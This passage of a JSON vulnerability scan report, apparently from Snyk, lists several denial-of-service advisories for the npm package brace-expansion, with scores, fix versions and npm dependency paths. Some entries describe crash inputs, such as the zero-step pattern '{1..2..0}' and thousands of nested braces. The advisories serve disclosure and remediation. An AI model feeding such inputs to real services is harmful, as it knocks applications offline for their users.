"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
